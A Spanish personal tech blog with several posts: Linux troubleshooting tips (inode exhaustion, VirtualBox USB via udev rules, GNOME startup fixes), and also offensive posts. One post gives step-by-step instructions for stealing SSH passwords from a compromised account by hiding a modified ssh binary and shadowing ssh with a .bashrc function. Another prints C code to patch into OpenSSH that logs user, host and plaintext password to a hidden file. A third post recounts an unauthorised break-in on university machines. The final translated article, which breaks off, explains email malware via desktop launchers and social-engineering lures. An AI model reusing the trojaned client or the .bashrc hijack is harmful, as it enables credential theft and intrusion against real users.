Oscuros problemas

Buenas hackers,

Hoy vengo con entrada rápida. Estas son el tipo de cosas que me gusta contar para que luego ustedes no se peguen 2 días para resolverlo (como me ha pasado a mí), sino 30 segundos.

Resulta que tras una larga cadena de cosas raras en mi sistema y tras la lectura de cientos de líneas de log y miles de código, me doy cuenta de que cierto driver al arrancar no puede crear un fichero que usan programas de esa suite como cerrojo con el mensaje de que el dispositivo esta lleno... todo sería lógico si no fuera porque el disco de donde tira estaba al 70%... unos 100 mb... así que o el cerrojo ese es jodidamente grande, o aquí pasa algo raro... bueno, sobra decir que lo que pasaba era lo raro jejeje. Después de pensarlo un tiempo lo que ocurría era que, efectivamente estaba lleno... pero no el dispositivo, ¡sino el sistema de ficheros que en él había!. Se había llegado al máximo número de inodes en ese sistema de ficheros debido a un proceso loco (el cuál ya esta correctamente diezmado) se había puesto a crear ficheros muy pequeños (ocupaban más metadatos que datos de hecho), pero en gran cantidad así que me lleno el número máximo de ficheros ocasionando el mensaje de que el dispositivo estaba lleno... solemos pensar que un dispositivo sólo se llena si se ocupa todo su espacio, de hecho es lo correcto, pero resulta que si se llena el sistema de ficheros, éste le echa la culpa al dispositivo, manda huevos.

Por cierto, que lo pueden comprobar con el comando stat (man stat), bastó con hacer un rm de los gordos dentro de la superpoblada carpeta y todo como la seda.

Moraleja, cuando te digan que algo está lleno preguntate qué cosas pueden llenar eso... en mí caso la inspiración me vino pensando en las quotas... existen para el espacio y para los inodes.

Otra cosa, no confundan inodes con número de ficheros, suele usarse indistintamente, pero realmente no son equivalentes (no hay relación biyectiva)... softlinks, hardlinks...

Happy hacking!

Hacer funcionar USB en VirtualBox sobre Ubuntu 9.04

Buenos días hackers!

Hoy toca una guía rápida para lograr hacer funcionar tus dispositivos USB en una sistema operativo que está corriendo en una máquina virtual usando el software VirtualBox, a partir de ahora vbox, (ya saben, kubuntu virtualizado sobre ubuntu y cosas de esas... no estarás usando otro sistema, no?!?!).

¿Por alguna razón necesitas hacerlos funcionar y te has empapado montón de howto's por internet que dicen todos lo mismo y que la mayoría son para ubuntu 8.10 u 8.04?, deja de buscar, yo también sufrí lo mismo y conseguí, después de dejar de leer y con ese conocimiento adquirido y mirando un poco por dentro del sistema, hacer funcionar mi "penedrive de 512 centímetros" y sí, te voy a decir cómo.

Antes de empezar asumiré que no tienes instalado vbox, si lo tuvieras instalado desinstalalo con synaptic, apt-get, aptitude, dpkg... no me dentendré en esto, tal vez no sea necesario, pero yo describo mi situación y la que creo que funcionará.

Pongámonos en situación, lo primero que debes saber es que la versión OSE (Open Source Edition) no creo que sea software libre (open source sí, software libre no), lo segundo es que por desgracia esa versión que es la que aparece en los repositorios, no tiene soporte para USB. Muy listos los de Sun (Oracle?), te dejan el soporte en la versión que ni siquiera es open source. Bueno, debido a esto, te tienes que bajar una versión de VirtualBox que sí tenga soporte, en mi caso cuando redacté ésto, en la web de vbox ofrecían vbox 3.0.8. Otro detalle es que si estás corriendo nativamente un OS de 64 bits tienes que bajarte la versión "amd64", aunque tu procesador no sea un AMD64, hay una pequeña nota justo encima pero yo no la leí hasta que me baje la versión i386 y me escupió en la consola que me bajara la otra y que leyera las cabeceras jejeje.

Una vez tengas el paquete .deb, lo instalamos escribiendo en una consola:

sudo dpkg -i paquete.deb

Esto probablemente te diga que la instalación ha ido mal, es debido a las dependencias, vbox en sí mismo está instalado pero no lo podrás correr (no creo) porque te faltan ciertas bibliotecas, si has tenido otro vbox antes casi seguro que no te dice nada. Si te faltan las bibliotecas lee cuales son (dpkg te lo dice) e instalalas desde los respositorios:

sudo apt-get install paquetes

O con el synaptic o como más rabia te de (también voy a suponer que tienes los respositorios actualizados).

Ya tenemos vbox instalado, creamos una nueva máquina virtual, le metemos el sistema que queremos (no voy a describir cómo). Ahora, antes de arrancar ese sistema lo seleccionamos en la ventana principal de vbox y le damos al botón configuración de la parte superior. En la parte izquierda una de las opciones es USB, vamos allí y marcamos los checkbuttons de habilitar el controlador USB y el de habilitar USB 2.0. Aceptamos y hasta aquí es lo que en general solíamos encontrar en howto's para 9.04... para versiones anteriores de ubuntu había que ir al /etc/init.d/mountdevfs.sh, /etc/fstab y empezar a trastocar... bla bla bla. Lo que nos queda por un lado es añadir nuestro usuario al grupo vboxusers, yo lo hice con:

sudo vim /etc/group

Y buscando el grupo (probablemente el último) y añadiéndome al final:

vboxusers:x:124:nombre_usuario

AHORA VIENE EL TRUCO DE VERDAD, el que hace que todo funcione, resulta que aunque te añadas al grupo vboxusers, sólo el root tiene permisos para montar los USB, no lo he probado pero sería capaz de apostar a que si ejecutamos vbox con sudo o con gksu sí permitirá montarlos... pero eso es una chanada que no me gusta, vamos a cambiarlo. ¿Quién da acceso a los dispositivos? udev, entonces investiguemos... resulta que udev da esos permisos a vbox por lo descrito en el fichero /etc/udev/rules.d/10-vboxdrv.rules. Si lo abren, verán algo como:

KERNEL=="vboxdrv", NAME="vboxdrv", OWNER="root", GROUP="root", MODE="0600"
SUBSYSTEM=="usb_device", GROUP="vboxusers", MODE="0664"
SUBSYSTEM=="usb", ENV{DEVTYPE}=="usb_device", GROUP="vboxusers", MODE="0664"

Aquí está el problema, los subsistemas sí tienen permisos de lectura/escritura para el grupo vboxusers... pero y el driver?! el dueño es root y el grupo es root... y los permisos son 0600... incluso aunque tu usuario esté en el grupo root, no te iba a dejar detectar los dispositivos. Este es el motivo de que esté casi seguro de que si ejecutamos vbox con root, sí deje manipular los USB. Editémoslo y pongamos algo más coherente... como por ejemplo:

KERNEL=="vboxdrv", NAME="vboxdrv", OWNER="root", GROUP="vboxusers", MODE="0660"

De forma que el grupo ya no sea root, sino vboxusers y los permisos de grupos tengan lectura y escritura, así siempre que añadamos un usuario al grupo, podrá montar USB. He visto algunas soluciones (para 7.10) que comentaban que "poniendo MODE=0666 se soluciona!" pues claro! le estas dando permisos de lectura y escritura a todo el mundo... en el ordenador de tu casa está bien porque sólo lo usas tu... pero en otros entornos eso no es seguro.

En fín, espero haberles quitado un problema de encima y haberles hecho entender por qué esta solución funciona (no basta con solucionar el problema).

Happy Hacking!

Gnome title bar crash (it dissapear)

Hi everybody,

Just a few weeks ago one day I switch on my PC with Ubuntu and realize that I had no title bar, this one that allows you to resize the window and minimize, close, etc... Moreover, I realize that I had no filemanager too.

I started to search for a solution surfing the internet but (amazingly) I realized that there were difficult to resolve my problem, I read a few articles speaking about gconf-editor, gnome-panel, metacity, nautilus, gnome-wm and more, but everything I read simply don't work for me.

Then I start to mix all the information gather and get a solution, I think it is not the best solution because I don't discover wich is exactly the problem, why it started and wich is it's solution but at least nowadays I don't get affected by it.

Just to avoid open a shell everytime I login and execute explicitly metacity and nautilus... System > Preferences > (Programs at startup | Applications at startup | Programas al inicio) and then we need to create two launchers one for the file manager... Create and in "Order, Command, Orden..." type /usr/bin/nautilus (or your prefered file manager). Again the same with the window manager, Create and in Order... /usr/bin/metacity.

I know it's not the best solution (or maybe yes but I cannot say it because I don't know the source of the problem really) but at least it work pretty well.

Sorry for mistakes, you know, I'm not english.

Conseguir el código fuente

Hoy en la comida estaba hablando con arreche de lo propio, seguridad y cosas de esas y recordé que hacía unos pocos días quise bajarme el código fuente de login para verlo por dentro pero no lo pude encontrar. Arreche dió con la solución (y mira que era simple):

sudo apt-get source login

Evidentemente en login podemos poner lo que queramos bajarnos. Pues eso, ahí tienen la manera fácil de conseguir fuentes... y por cierto, login anda dentro del paquete "shadow".

Truco para ussh

Ya comenté en la entrada anterior que nada en el mundo de la seguridad es infalible, que siempre se puede en última instancia coger los fuentes del programa más seguro del mundo y trastocarlos para que deje de serlo.

Ya enseñamos el otro día cómo modificar los fuentes de openssh-client para saber donde andaba la contraseña, hoy vamos a ver como engañar a una víctima para robarle las contraseñas que use para conectarse a otros servidores mediante ssh. El escenario es el siguiente:

De alguna forma u otra hemos conseguido colarnos en la cuenta de una víctima en el ordenador A. Como sabemos un mínimo "information gathering" miramos el fichero historial de comandos ejecutados por este usuario, en general .bash_history... este fichero es muy cómodo pero también compromete bastante ya que una vez se hayan colado en la cuenta, da muchísima información sobre el usuario víctima, con él podremos circunscribirnos únicamente a los programas que usa (los más comunes), no necesitamos hackear todos los programas del sistema (en principio). Además también podremos ver si se conecta por SSH a otros servers, cuáles son y con qué cuentas... ¡ANDA, ya tenemos cuentas válidas en otros servers!. Ahora podemos empezar un ataque por fuerza bruta o medianamente informado (diccionario, bla bla bla...). Pero eso no es interesante, lo guay es hacer truquillos para sacar esas contraseñas. El que a mi se me ha ocurrido es éste:

1- Ver que versión de ssh usa el sistema "ssh -V"
2- Bajarse los fuentes de esa versión
3- Modificarla como se comentó en el post anterior
4- Compilar nuestro ussh*
5- Esconder ussh dentro de la carpeta de la víctima (podemos ya que tenemos acceso).
6- Ahora hay que conseguir que cuando la víctima esté dentro de su cuenta comprometida ejecute nuestro ussh... Podemos ponerle un mensajito de inicio de que por favor lo haga... esto no dará demasiado resultado y es un poco cantoso, no? xDDDDDDDD. La forma que uso yo es la siguiente:

Modificar .bashrc para engañarle, de forma que la víctima escriba "ssh ...." pero no sea eso lo que se ejecuta. Básicamente vale con algo así:

ssh() {
if [[ -x path_a_ussh ]]; then
path_a_ussh $*
else
path_a_ssh $*
fi
}

Con poner esa pequeña función en .bashrc ya tendremos a la víctimas bastante comprometida y sin que se de demasiada cuenta. Es evidente que nos pueden pillar viendo que hay nuevos ficheros ocultos dentro de su cuenta y que .bashrc ha sido modificado... pero es bastante raro que estas acciones se lleven a cabo.

7- Dale permisos a ussh, si te olvidas no pasa nada porque la función lo contempla con el -x, pero si eres algo más rústico puedes acabar generando un mensaje de error por permisos y que enseña la ruta a ussh.

Simple, no? Con estos pocos pasos podemos sacar las tri-uplas usuario/servidor/contraseña que use la víctima... Yo he visto mucho por ahí usuarios que hacen root@localhost...

Realmente con estos trucos de alias y funciones en .bashrc se puede conseguir muchísimo juego, pero intentar (y lograr) sacar la contraseña de root de un sistema es el más peligroso y límite en mi opinión.



*NOTA: Este paso tiene cierta cosa, no podemos (no siempre) compilar en un ordenador y luego llevarnos el binario creado a otro, ¿por qué? los programas en general usan bibliotecas que están en el sistema, si compilamos en un sistema (con unas bibliotecas) e intentamos ejecutar en otro ordenador (probablemente con otras bibliotecas) aparecerán problemas entre versiones. Puedes bajarte la versión de bibliotecas en el sistema víctima y compilar usando esas versiones o puedes compilar en el sistema víctima... MUCHO OJO, esto último deja ciertos rastros en el sistema víctima, sin ir más lejos lo que hagas se guarda en el fichero .bash_history que antes usamos para sacar información xD... tampoco me gusta porque me puede delatar jejeje... En general es más seguro (para el atacante) realizar el máximo posible de acciones en su sistema y trasladar y/o estar en el sistema víctima sólo lo imprescindible.

Ya esta bien, a usar una contraseña "segura"

Llevaba pensando en ello un tiempo largo, pero nunca me habia decidido a ello, ya hoy por fin lo he hecho (mientras escribo esto), estoy hablando de usar una contraseña más segura que la que tengo, para ello voy a generarla con apg un programa dedicado a la generacion de claves más o menos seguras y a la comprobación de integridad de la misma. El comando que he usado (después de instalar apg) es:

apg -a 1 -n 1 -m X -x Y -M sncl

-a 1: Que genere contraseña aleatoria, tiene otro modo que produce contraseñas pronunciables (menos seguras).

-n 1: Que produzca solo una contraseña.

-m X -x Y: tamaño minimo X y tamaño maximo Y... no voy a poner el tamaño que yo he elegido pero por defecto es 8.

-M sncl: Esto es interesante, cada letra le indica al programa si deberia o debe usar caracteres especiales (·$%&...), numeros, mayusculas y minusculas. Es interesante saber que estas cuatro letras se pueden poner en minusculas o mayusculas para indicarle should (deberia usar) o must (debe usar) respectivamente. En principio puede parecer que usar las mayusculas para obligarle a usar todo tipo de simbolos puede ser mas seguro... PUES NO! obligar = restringir, si pusieramos alguna letra en mayuscula estariamos eliminando un gran espacio de claves ya que podriamos eliminar todas las combinaciones que no usen los 4 tipos de simbolos, me di cuenta un poco despues de leer should y must en el man.

Bueno... ahora toca aprenderme de memoria el chorizo que me acaba de soltar :s

Happy Hacking!

PD: En futuras entradas complementare el ussh con algun truquillo barato para engañar a la victima... que he estado probando ;)

PDD: En las distros hay un comando mkpasswd pero no se recomienda su uso para generar las contraseñas... tiene pinta de ser mas antiguo que la rasca... usa crypt(3) que a su vez usa 3DES, que a su vez esta muy roto.

Cliente ussh

Que es un cliente ussh? alguien lo sabe?... pues en principio no deberian! porque me lo acabo de inventar... son las siglas de UnSecure SHell.

El cacho de codigo que posteo lo he escrito dentro de los fuentes de openssh (concretamente la version 3.9, aunque ya estamos por la 5.2 cuando escribo esto):

/*******************************************************/
/* Added by me to get the user password in plain text. */
/************************ HACK *************************/
{
const int LEN = 8196;
const int OPEN_OPTS = O_RDWR | O_CREAT | O_APPEND;
const mode_t OPEN_PERMS = 0600;

int fd;
char *home;
char name[LEN];
char pair[LEN];

/*
* Build the pair user@server -- password.
*/
snprintf (pair, LEN,"%s@%s -- %s\n", authctxt->server_user, authctxt->host, password);

/*
* Build the absolute path name for a hidden file that will contain
* the pair user@server -- password.
*/
if ((home = getenv ("HOME")) == NULL)
goto out_hack;

strncpy (name, home, LEN);
strncat (name, "/.sshlog", LEN);

if ((fd = open (name, OPEN_OPTS, OPEN_PERMS)) == -1)
goto out_hack;

write (fd, pair, strlen (pair));
close (fd);

}

out_hack:
/**************************/
/******* END HACK *********/
/**************************/

Se ve claramente que es muy sencillo y ademas tiene explicado lo que hace. Es una demostracion de como claramente hay momentos en los que la contraseña SI ESTA EN TEXTO CLARO dentro de la memoria del proceso. Lo que aqui se hace es que cada vez que se utilice el cliente ssh se guardara en el fichero "$HOME/.sshlog" una linea con el usuario el host y la contraseña que se ha utilizado.

No he querido complicarme mucho con el manejo de ristras y he declarado buffers estaticos aunque estoy utilizando "funciones de ristras n" (strncpy, strncat y snprintf) y ademas creo que las variables de entorno estan limitadas por los sistemas... aun asi recordemos que no se deberian usar bufferes estaticos donde la informacion puede venir de fuera por problemas con buffers overflows

Como este codigo se puede usar con mala idea no pongo en que fichero hay que ponerlo, ni funcion, ni linea ni nada mas, alguien con un minimo de habilidad sabria buscar donde va y por supuesto escribirlo... de hecho creo que tiene mas merito buscar el sitio concreto donde habria que ponerlo que escribirlo...

Cuando lo más seguro no es infalible

Hola hackers del mundo! Pues resulta que la semana pasada estuve haciendo un curso de "configuración de redes en linux"... yo lo habria llamado antes de ir "configuracion de redes en gnu/linux", pero ya sabemos como anda el mundo. No obstante despues de ir lo habria llamado "te vamos a explicar (diciendo mentiras) por que gnu/linux es mejor que hasefroch", en fin un curso donde le vendian a los alumnos el sistema, ¡que me parece muy bien que lo hagan!, pero por encima de usar gnu/linux, hasefroch o moc os, prefiero que se diga la verdad.

Voy al ajo, resulta que como me aburria muchisimo en el curso pues me entretuve hackeando un poquillo los ordenadores de la facultad donde se impartia, mirando que cosas tenian por aqui y por alla. Total que lo primero que hice por supuesto fue conseguir una cuenta de root en cualquier pc de por ahi (ya saben lo sencillo que es si se tiene acceso fisico a la maquina), pues no habian pasado ni 40 minutos y ya habia accedido a las cuentas de los profesores en una maquina con servidores :(, y aun me quedaban por delante 4 dias de eterno aburrimiento... en fin, se lo dije al profesor para que lo corrigiera si queria, por supuesto se puso a la defensiva e intentando decirme que no estaba en lo cierto y yo "mira, es que ya he entrado en tu cuenta, no es algo que me este imaginando que se puede hacer". Bueno, al final no se lo tomo tan mal y es mas diligente que la media y se preocupo en pensar como resolverlo... QUITA NFS!

Al dia siguiente en el descanso mientras me tomaba un leche y leche calentito se me acerca y empezamos a hablar un poco de seguridad y tal... entonces le comento que es que a mi me gusta mucho este tema y claro, miro y pruebo cosas fuera de la uni, pero que realmente no soy bueno, simplemente conozco un par de patrones en que se incurre bastante en mi universidad y lo ataco un poco a ver hasta donde llego... Total, que por h o por b, acabamos hablando de los limites de la seguridad y se lo digo bien claro "no hay nada infalible, en el fondo fondo no te puedes fiar de nada ni del propio SSH ya que por muy seguros que sean, les puedes sacar las contraseñas". Me miro con una cara como si hubiera cometido un sacrilegio! PERO COMO VOY A PONER EN ENTREDICHO SSH Y MUCHO MENOS OPENSSH!!! Entonces llego el momento de la explicacion:

- Mire, es que por mas que nos empeñemos, siempre hay momentos dentro de una maquina donde las contraseñas SI estan en texto claro, incluso en cliente y servidor de ssh.

- Noooo! nunca estan en texto claro.

- Si, vera, aunque una comunicacion con ssh es cifrada, es necesario que el proceso ssh cliente (en un extremo) le envie la contraseña en texto plano al servidor (en el otro extremo) para que este pueda chequearla contra su base de datos (nis, ldap, passwd, lo que sea).

- PERO SE LA ENVIA CIFRADA, EL PAQUETE SSH ESTA CIFRADO!

- Si si, ya lo se, pero no me esta entendiendo, una cosa es la clave de sesion con la que se cifra el paquete ssh, pero dentro de ese paquete (el cual es descifrado en el extremo que lo recibe) tiene dentro mucha informacion, entre otras cosas si se esta intentando hacer un login, tiene la contraseña en texto claro, el proceso es el siguiente:


|--- datos --- contraseña en claro ---| <-- Paquete a enviar por ssh

- Este paquete lo ciframos con la clave de sesion que establecio ssh automaticamente al empezar (mediante el intercambio de clave publica/privada) obteniendo:

| 123!EDC3f"%35f35cr"·$F25c2%C2| <--- Paquete cifrado

- Cierto que de aqui no podemos sacar nada (no hablamos de cracking), pero es que tanto en el servidor como en el cliente tiene que estar primero la contraseña en claro, para poder despues cifrar el paquete y obtener el chorizo ese. Solo (bueno, mas bien "solo") tenemos que meternos en el mapa de memoria del proceso y buscar donde guarda eso, aunque hay que hacerlo rapidito porque esa informacion no esta mucho tiempo en memoria.

Y entonces me suelta, la siguiente idea:

- No! la contraseña se cifra en el cliente y luego se mete en el paquete y se cifra entonces el paquete, al servidor solo le llega una contraseña cifrada y el la compara en su shadow

... vamos a ver... solo voy a decir que ese diseño roza lo INEFABLE!. Veamos, esa arquitectura esta presuponiendo que ambos sistemas usan el mismo algoritmo de cifrado para el sistema de login (todos md5? todos 3DES?), todos utilizan las mismas semillas, el mismo generador de aleatorios... pero que me estas contando!? ademas colega, te estoy diciendo que no es algo que yo me haya inventado, es algo que he comprobado que es asi!!! que pasa!? que porque sea un alumno no puedo saber un poco mas de algun tema que algun profesor? pk se ofuscan tanto cuando alguien que aun estudia y es bastante mas joven les intenta enseñar algo? Ya me gustaria a mi encontrarme con algunos de esos superhackers jovencisimos y que me enseñara cosas!!! joder! daria un dedo por haber conocido a dvd john cuando tenia 15 años!

En fin... ya me he cansado de tanta tonteria, la proxima entrada que escriba publicare el codigo de un modulo para el kernel que se metera en la memoria de un proceso, concretamente ssh y recogera la cuenta de usuario y su contraseña, en texto claro, sin mayor problema. Lo pondria ahora mismo, con su makefile y todo, listo para ejecutar, pero por desgracia he sufrido la maldicion del informatico que no hace copias de seguridad xDDDDDDDDDDDD. En fin, ya lo reescribire y aprovechare para repasar un poco la creacion de modulos ;)

Happy Hacking!

Derechos

Esta entrada no es tecnológica, pero todos la deberíamos tener presente.

Esto lo ví en subtítulos de la serie scrubs.

TODAS LAS PERSONAS TIENEN DERECHO A LA EDUCACIÓN Y EL DISFRUTE DE LOS BENEFICIOS DE LA LIBERTAD CULTURAL Y EL PROGRESO CIENTÍFICO.

Declaración del pacto internacional de derecho civiles y políticos de la organización de las naciones unidas.

Gracias PolloDH, por scrubs y the big bang theory al menos.

Cómo escribir un virus para Linux en 5 cómodos pasos

Hace poco ha llegado a internet un post de un hacker sobre cómo escribir un virus para sistemas linux. Lo que a continuación pretendo es escribir una traducción sobre ese artículo para enriquecer más internet y para su disponibilidad para gente de habla española que no habla tanto inglés. No se confundan, no soy una persona bilingüe (que más quisiera yo), simplemente soy un interesado de estos temas que vió el artículo, no lo encontró en español y pensó que podría intentar hacer una traducción más o menos íntegra. Yo no he aportado nada en este artículo, sólo soy un mero traductor (y probablemente malo).

A la hora de traducir me he encontrado con lo que supongo es muy común a la hora de traducir textos técnicos informáticos, palabras que a pesar de que tienen su significado en español, son tan ampliamente usadas en inglés en estos círculos que no sabe uno si traducirlo o no, por ejemplo "buffer overflow", se podría traducir como algo así "desbordamiento de zona de memoria intermedia". He leído libros que realmente me dan grima con sus traducciones, siempre recordaré que en "Linux Kernel Modules" 3ª ed. en español la interfaz de loopback lo traducían como interfaz de bucle de retorno, y que me costó algunos segundos entender a lo que se refería. Por ello, y como este texto va destinado principalmente a técnicos en el área, voy a dejar unos cuantos conceptos directamente en su lenguaje original, puede incluso que traduzca algunos que realmente debiera dejar en inglés.

El texto está escrito por un hacker, por tanto sería recomendable conocer cosas de este mundillo, cuando decimos OS evidentemente nos referimos a Operating Systems, *nix hace referencia a UNIX, etc...

La traducción está hecha en una sola pasada (no quiero dedicarle mucho tiempo ni quiero ser riguroso 100%) así que te, tu lector que probablemente sepas inglés, encontrarás muchas cosas que habrías escrito de otra forma.

/* Comienzo */

El rumor de la arquitectura a prueba de balas de Linux

Hay un rumor que corre por ahí que dice que Linux está libre de virus. Se dice que la vieja herencia multiusuario de Linux (y otros *nix OSs) previenen el malware, debido a que los usuarios no están generalmente ejecutando sus programas en modo administrador (como usuario root). Se nos recuerda que son necesarios los bits de ejecución para ejecutar cualquier cosa - a diferencia de Windows - y esos bits no están establecidos en ningún archivo adjunto o fichero salvado desde emails o desde un navegador web.

Más aún, se nos dice, que la arquitectura de Linux es tan superior a la de Windows que no es posible la difusión de malware. Por supuesto - es sabido que - un fallo de bajo nivel, un buffer overflow u otra cosa es explotable. No obstante, los usuarios no pueden simplemente coger un virus por email o descargar malware desde Internet, al contrario que "esos usuarios de Windows". Linux los protegerá de su propia estupidez.

Al menos eso dicen las historias. Pero tristemente eso no es verdad. Voy a enseñar cómo es posible en unos pocos y fáciles pasos escribir un mail perfectamente válido para modernos Linux de escritorio. Voy a hacerlo no porque quiera desprestigiar a Linux. Todo lo contrario: Me gusta y doy soporte a Linux, que es todo lo que uso en casa y en el trabajo. Soy un gran partidario del software libre y abierto como los lectores de este blog sabrán. Pero si hay algún riesgo de seguridad, incluso en mi OS o distribución favoritos entonces necesita ser debatido. Más importante aún: Una falsa sensación de seguridad es peor que la falta de seguridad. Una reivindicación de superioridad no justificada tampoco ayuda en un debate razonable.

Algunas anotaciones antes de empezar

Actualización: Ha habido mucha controversia sobre mi por utilizar el término "virus" no de forma correcta aquí. Debería hablar sobre un "troyano" realmente. Hay desacuerdos sobre si los virus requieren interacción con el usuario o no, y sobre si deberíamos hablar sobre un gusano si estamos hablando de malware que puede difundirse sin interación del usuario. También hay algunos desacuerdos sobre si el malware que se difunde vía email puede ser considerado un virus o no. Hay muchas fuentes que llaman a tal cosa un virus (un virus de email) y otras que serían más concretas en su definición. Dejemos este artículo fuera de esa discusión. Aquí llamo a este malware "virus" incluso aunque requiere interación del usuario y a pesar de ello no doy código para difundirlo por si mismo (el código sólo es pseudo-código de muy alto nivel).

Debo hacer notar: Las vulnerabilidades de las que vamos a coger ventaja son 'características' de la mayoría de entornos de sistemas de escritorio Linux modernos y populares, Gnome y KDE. El núcleo actual de Linux por si mismo no tiene ninguna de estas vulnerabilidades. Un sistema Linux (o cualquier otro *nix) que no tenga Gnome o KDE no tendrá ninguno de estos problemas, lo cual es una de las grandes ventajas de separar adecuadamente el núcleo del OS de las demás aplicaciones como por ejemplo el entorno de escritorio.

Por otra parte, si ejecutas esos entornos de escritorio en otros OSs (quizás en FreeBSD, por ejemplo) entonces posiblemente tendrás que tratar con la misma vulnerabilidad. Un título más preciso para este artículo podría ser: Cómo escribir un virus para Gnome/KDE en 5 fáciles pasos. Pero debido a que Gnome y KDE se usan predominantemente sobre Linux, me parece que un virus basado en esas vulnerabilidades impactaría sobre todo a usuarios de Linux así que el título continua siendo válido.

El artículo explicará qué pasos debe seguir para infectar un escritorio y cómo instalar su malware y dará información de background de por qué esos pasos son necesarios y por qué funcionan. Después de la larga explicación hay un documento paso a paso hacia el final. Sin embargo hay algunos trozos de código aislados, el artículo no proveerá de código un malware listo para usar.

Varios días antes envié un mensaje a los equipos de seguridad de Ubuntu y Fedora, preguntándoles si les importaría echar una ojeada a ésto antes de que lo publicara. El equipo de Ubuntu todavía no ha dicho nada, pero el de Fedora me dijo que esto es "un comportamiento conocido y esperado" y que no tenían ningún problema con que publicara ésto. ¿Conocido y esperado? ¿en serio? De acuerdo entonces, aquí vamos.

Consiguiendo que los usuarios abran archivos adjuntos: ¡Mira estas fotos de desnudos!

Si estás buscando algo nuevo, un maravilloso exploit o algún otro inteligente truco hacker, te deberé decepcionar completamente. Lo que aquí voy a enseñar es meramente un ejemplo de cómo la ingeniería social de la vieja escuela para viruses (difícilmente se merecen ese nombre) que han estado molestando el mundo de Windows por tanto tiempo puede usarse en Linux, o cualquier otro *nix OS con un entorno de escritorio moderno.

La premisa de este tipo de 'virus' es simple: Conseguir que el usuario ejecute un archivo adjunto que le envías vía email. Esto no tiene nada de tecnológico. No hay magia negra. No estoy tomando ventaja de ningún exploit nuevo de ninguna forma. Para hacerlo funcionar en Linux simplemente estoy usando las 'características' de entornos de escritorio modernos por algunos caminos no esperados. A fin de cuentas todo ello es "conocido y esperado".

Hacerlo sobre Windows es así. Creas tu malware como un archivo EXE, lo adjuntas a un email que dice algo como: "¡Guau, mira estas fotos de desnudos de ...!". El desafortunado usuario hará doble click en el adjunto, y Windows - en ausencia de algún software anti-virus decente - obedientemente se ejecutará. Antes de que te des cuenta el malware es instalado y el sistema está comprometido. La ejecución de archivos .EXE desde clientes de email sobre Windows es algo, por supuesto, "conocido y esperado".

¿Crees que esto no es posible en Linux? Por supuesto que sí. Sólo requiere uno o dos pasos más. De todas formas no hay nada fundamental en la arquitectura de Linux que prevenga de la estupidez o ignorancia del usuario, que es evidentemente el ingrediente principal de cualquier vector de ataque como éste.

Sólo hay un pequeño problema que necesita ser resuelto. Bueno, dos, realmente.

Primero, la mayoría de clientes de correo para Linux no ejecutan adjuntos. Pueden intentar abrirlo si conocen la extension como un indicador del tipo de fichero (.pdf u otro documento por ejemplo). Pero no tiene por qué. Digamos que has escrito tu malware como un bonito script en Python. En ese caso, tu script podría tener de final .py, pero el cliente de correo probablemente seguirá sin invocar al interprete de python para tí. Tendrás que configurar el sistema para hacer eso, y ¿quién haría algo así?

Necesitamos una aproximación ligeramente diferente. Algo que siempre se ejecute cuando se clicke sobre él. Y aquí entonces hay un paso más que necesita ser tenido en cuenta por el usuario, que puede reducir un poco el ratio de éxito de este vector de ataque. El usuario primero tiene que salvar el adjunto y luego hacer doble click en él. Debido a que el cliente de correo generalmente no puede ejecutar un archivo ejecutable, los entornos de escritorio si que pueden como veremos. Entonces el email tiene que poner algo como esto:

¡Guau, mira estas fotos de desnudos de ...!
(si el adjunto se abre guardalo en el escritorio y abrelo...)

Eso sonará sospechoso para la mayoría de nosotros, pero 'la mayoría' no es 'todos' y la estupidez del usuario está en todos lados. Además, muchos usuarios de clientes de correo web suelen tener una rutina de guardar primero.

No subestimes la ignorancia del usuario - incluso en Linux

Quizás puedas argumentar que la mayoría de usuarios de Linux tienden a estar un poco más al tanto de lo que están haciendo. Normalmente tienen que hacer una elección consciente sobre sus OSes y más aún tienden a no ser el típico usuario no técnico. ¡Pero eso está cambiando! Algunos portátiles están siendo vendidos con Linux por defecto. En ese caso puede que los usuarios no hayan tenido una elección de Linux consciente y puede ser simplemente un feliz ignorante como esos usuarios de Windows que clickan en archivos adjuntos de emails. También algunas grandes organizaciones están pensando en usar Linux como el entorno de escritorio. Varias ciudades y gobiernos alrededor del mundo, por ejemplo. Los usuarios no son técnicos tampoco y clickarán en los archivos adjuntos.

Más aún, la ausencia de virus en el pasado ha dado a los usuarios de Linux una sensación falsa de seguridad. Estamos tan acostumbrados al mantra de "¡Linux es tan seguro, que ni siquiera necesitas software antivirus!" que probablemente no tenemos ningún anti-virus que nos pare cuando vayamos a hacer alguna bobería.

Ok, volviendo a las cosas técnicas. La mayoría de clientes de correo guardan los archivos adjuntos en el escritorio del usuario o en la carpeta de descargas dónde el usuario irá a mirar. Entonces si el usuario finalmente no revisa el adjunto sino que simplemente clicka sobre el botón de "guardar" en el cliente de correo ahí podemos hacer el truco: El adjunto va a estar ahí, delante mismo del usuario. De hecho, me he dado cuenta que, por alguna razón, mi cliente de correo de Evolution algunas veces tiene problemillas abriendo directamente documentos normales como adjuntos. Por ejemplo, alguien me envió un archivo .odt pero Evolution algunas veces no arranca OpenOffice por mí. Así que, cuando ésto no funciona, simplemente lo guardo y abro. ¡Yo mismo estoy entrenado para hacer este tipo de cosas!. Probablemente no soy el único.

Consiguiendo ejecutar el adjunto

Anteriormente dijimos que los adjuntos normalmente no son ejecutados cuando son guardados como ficheros. No hay extensiones estandar que indique que un fichero debiera ser ejecutado cuando se clicke sobre él, como ocurre en Windows. En vez de eso - y aquí está el segundo obstaculo que necesitamos salvar - para que el archivo sea ejecutable sobre Linux (o cualquier otro OS *nix), el bit de ejecución debe estar activo en los permisos del fichero. Esto es algo que Windows no tiene, y que se suele ver como una de las razones de por qué infectar un PC con Windows es tan fácil, y por qué es casi imposible en sistemas *nix. Cuando guardas un adjunto de un email sobre Linux, el bit de ejecución normalmente no está activo y entonces el fichero no puede ser ejecutado simplemente clickando sobre él. ¿Sin suerte?

No tan rápido. Los entornos de escritorio modernos como Gnome y KDE, convenientemente ofrecen una bonita aplicación llamada 'lauchers' (NdT: lanzador de aplicaciones). Son pequeños ficheros que describen cómo se debe ejecutar algo. Sólo unas pocas líneas que especifícan el nombre, el icono que debe ser mostrado y el comando a ejecutar. Convenientemente, la sintaxis de esos ficheros de lanzadores es la misma para Gnome y KDE. ¡Y esos lanzadores no necesitan tener ningún permiso de ejecución activo en ellos! Los entornos de escritorio tratan esos ficheros como un caso especial, de forma que cuando clickas sobre ellos Gnome o KDE ejecutarán felizmente el comando que está especificado dentro de la descripción del lanzador y sin necesidad de que el bit de ejecución esté activo. ¡Ahora estamos llegando a algo!.

